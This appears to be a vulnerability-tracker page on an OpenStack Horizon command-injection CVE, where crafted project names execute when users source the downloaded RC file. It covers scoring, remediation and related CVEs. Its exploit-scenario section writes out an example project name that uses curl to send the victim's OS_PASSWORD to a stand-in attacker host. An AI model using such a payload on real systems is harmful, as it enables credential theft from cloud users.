Skip to main content

OpenStack Horizon CVE-2026-55748

MEDIUM
OS Command Injection (CWE-78)
2026-06-17 mitre
6.8
CVSS 3.1 · NVD
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker gains project admin rights
  2. Delivery
    Craft project name with shell metacharacters
  3. Exploit
    Victim downloads RC file from Horizon
  4. Execution
    Victim sources RC file in local shell
  5. Persist
    Metacharacters trigger OS command execution
  6. Impact
    Local credential or environment compromise

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the following specific conditions to all be true simultaneously: (1) the attacker must possess OpenStack project creation or project rename privileges - a high-privilege role (PR:H per CVSS) such as cloud admin or a delegated project admin - in order to set a malicious project name containing shell metacharacters; (2) a victim user must subsequently navigate to Horizon, select that specific project, and download the OpenStack RC file for it; and (3) the victim must execute (source) the RC file in a POSIX-compatible shell session. Exploitation is limited by: the requirement for high attacker privileges (not an unauthenticated or low-privilege attack), mandatory victim interaction (the victim must actively download and source the file), the High attack complexity reflecting this multi-step chain, and the fact that impact is scoped to the victim's local shell session rather than the cloud control plane. Non-default in the sense that project names containing shell metacharacters represent an unusual (though not prevented) configuration prior to the fix.

Impact

The CVSS 3.1 base score of 6.0 with vector AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:L correctly signals moderate-to-medium real-world risk. PR:H (High privileges required) is the most significant limiting factor: exploitation requires the ability to create or rename an OpenStack project with a malicious name, which is typically restricted to cloud administrators. Combined with AC:H and UI:R - meaning a target user must also independently download and execute the RC file - the attack chain has multiple prerequisite steps that must align. EPSS data was not provided, so exploitation probability cannot be quantified. No KEV listing confirms active exploitation, and no POC has been publicly identified. The disputed framing in the CVE description (some parties treating this as a hardening opportunity, not a vulnerability) is consistent with the PR:H restriction: a rogue or compromised admin is needed. For environments with strict admin access controls, real-world risk is low. For multi-tenant clouds where project creation is delegated broadly, risk is meaningfully higher.

Exploit ScenarioDerived

An OpenStack administrator (or any user delegated project creation rights) creates a project named something like 'prod$(curl attacker.com/exfil?k=$OS_PASSWORD)' in a multi-tenant cloud. When a developer or operator navigates to that project in Horizon and downloads the RC file for CLI use, Horizon generates a script containing that unsanitized name. The moment the victim runs 'source openrc.sh' in their terminal, the embedded command substitution executes, potentially exfiltrating credentials or executing attacker-controlled payloads in the victim's local environment. No public POC has been identified, but the CWE-78 class is trivially exploitable once preconditions are met.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 17, 2026

OpenStack Horizon before 25.7.4 embeds project names unsanitized into generated OpenStack RC shell scripts, enabling OS command injection when a victim user downloads and sources that script locally. An attacker with sufficient privileges to create or control a project name can insert shell metacharacters (e.g., backtick sequences, command substitution syntax) that execute arbitrary commands in the victim's local shell environment upon RC file execution. No public exploit code or CISA KEV listing exists at time of analysis, though the underlying CWE-78 class is well-understood; notably, the OpenStack project itself characterizes this as a security hardening opportunity rather than a traditional vulnerability, reflecting a disputed severity framing.

RemediationAI

The primary remediation is to upgrade OpenStack Horizon to version 25.7.4 or later, which addresses the unsanitized embedding of project names in RC script generation. Refer to https://wiki.openstack.org/wiki/OSSN/OSSN-0097 for the official advisory. As a compensating control where immediate upgrade is not feasible, administrators should enforce project naming policies that prohibit shell metacharacters (backticks, dollar signs followed by parentheses, semicolons, newlines) through input validation at the project creation layer or via OpenStack policy rules. Trade-off: naming restrictions may inconvenience tenants with existing nonstandard project names and may require renaming projects before RC file use. Additionally, operators can instruct users to inspect downloaded RC files before sourcing them and to treat them as untrusted shell scripts - a defense that reduces but does not eliminate risk since most users will not audit these files routinely.

Affected Packages

pypi horizon no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in pypi

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

OpenStack Horizon is the official web-based dashboard for managing OpenStack cloud infrastructure, identified by CPE cpe:2.3:a:openstack:horizon:*:*:*:*:*:*:*:*. A key Horizon feature allows users to download OpenStack RC files - shell scripts that set environment variables (OS_PROJECT_NAME, OS_AUTH_URL, credentials, etc.) for use with the OpenStack CLI. These RC files are intended to be sourced in a user's shell (e.g., 'source openrc.sh'). The root cause is CWE-78 (Improper Neutralization of Special Elements used in an OS Command, i.e., OS Command Injection): Horizon fails to sanitize or quote project names before embedding them into the generated shell script. Shell metacharacters such as backticks (...), command substitution ($(...)), semicolons, or newlines in a project name thus become executable shell code when the RC file is processed by a POSIX shell.

Know when Openstack gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (mitre) PRIMARY MEDIUM
NVD 6.8 MEDIUM
AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:H/A:H
vuln.today AI 6.0 MEDIUM

PR:H because project creation requires elevated admin rights; AC:H for the multi-step chain requiring crafted name plus victim execution; UI:R mandatory for victim to source the file.

3.1 AV:N/AC:H/PR:H/UI:R/S:U/C:H/I:H/A:L
4.0 AV:N/AC:H/AT:P/PR:H/UI:A/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N
Red Hat 6.0 MEDIUM

Primary rating from Vendor (mitre).

CVSS VectorNVD

Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
Required
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

1
CVSS changed
Sep 22, 2026 - 15:52 NVD
6.0 (MEDIUM) 6.8 (MEDIUM)

DescriptionNVD

OpenStack Horizon before 25.7.4 produces scripts for OpenStack RC file downloading that may have a crafted project name with shell metacharacters. NOTE: some parties consider this a security hardening opportunity to address certain types of user error, not a vulnerability.

Threat Intelligence Overview

EPSS Score
0.2%
Top 91% exploitable
Data Quality
6 sources
Confidence: High
NVD CVE.org EPSS Vulnrichment Vendor VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Total

Priority Score

34
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +34
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Affected Products (CPE)NVD

cpe:2.3:a:openstack:horizon:*:*:*:*:*:*:*:*
CVE-2016-6662 CRITICAL POC
9.8 Sep 20

Oracle MySQL through 5.5.52, 5.6.x through 5.6.33, and 5.7.x through 5.7.15; MariaDB before 5.5.51, 10.0.x before 10.0.2

CVE-2013-2121 MEDIUM POC
6.0 Jul 31

Eval injection vulnerability in the create method in the Bookmarks controller in Foreman before 1.2.0-RC2 allows remote

CVE-2013-2113 MEDIUM POC
6.0 Jul 31

The create method in app/controllers/users_controller.rb in Foreman before 1.2.0-RC2 allows remote authenticated users w

CVE-2018-3639 MEDIUM POC
5.5 May 22

Systems with microprocessors utilizing speculative execution and speculative execution of memory reads before the addres

CVE-2015-3456 HIGH POC
7.7 May 13

The Floppy Disk Controller (FDC) in QEMU, as used in Xen 4.5.x and earlier and KVM, allows local guest users to cause a

CVE-2018-11218 CRITICAL POC
9.8 Jun 17

Memory Corruption was discovered in the cmsgpack library in the Lua subsystem in Redis before 3.2.12, 4.x before 4.0.10,

CVE-2015-8914 CRITICAL POC
9.1 Jun 17

The IPTables firewall in OpenStack Neutron before 7.0.4 and 8.0.0 through 8.1.0 allows remote attackers to bypass an int

CVE-2024-28718 CRITICAL POC
9.8 Apr 12

An issue in OpenStack magnum yoga-eom version allows a remote attacker to execute arbitrary code via the cert_manager.py

CVE-2018-11219 CRITICAL POC
9.8 Jun 17

An Integer Overflow issue was discovered in the struct library in the Lua subsystem in Redis before 3.2.12, 4.x before 4

CVE-2017-1000366 HIGH POC
7.8 Jun 19

glibc contains a vulnerability that allows specially crafted LD_LIBRARY_PATH values to manipulate the heap/stack, causin

CVE-2015-7512 CRITICAL
9.0 Jan 08

Buffer overflow in the pcnet_receive function in hw/net/pcnet.c in QEMU, when a guest NIC has a larger MTU, allows remot

CVE-2026-28370 CRITICAL POC
9.1 Feb 27

Code injection in OpenStack Vitrage query parser allows authenticated users to execute arbitrary Python code through cra

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy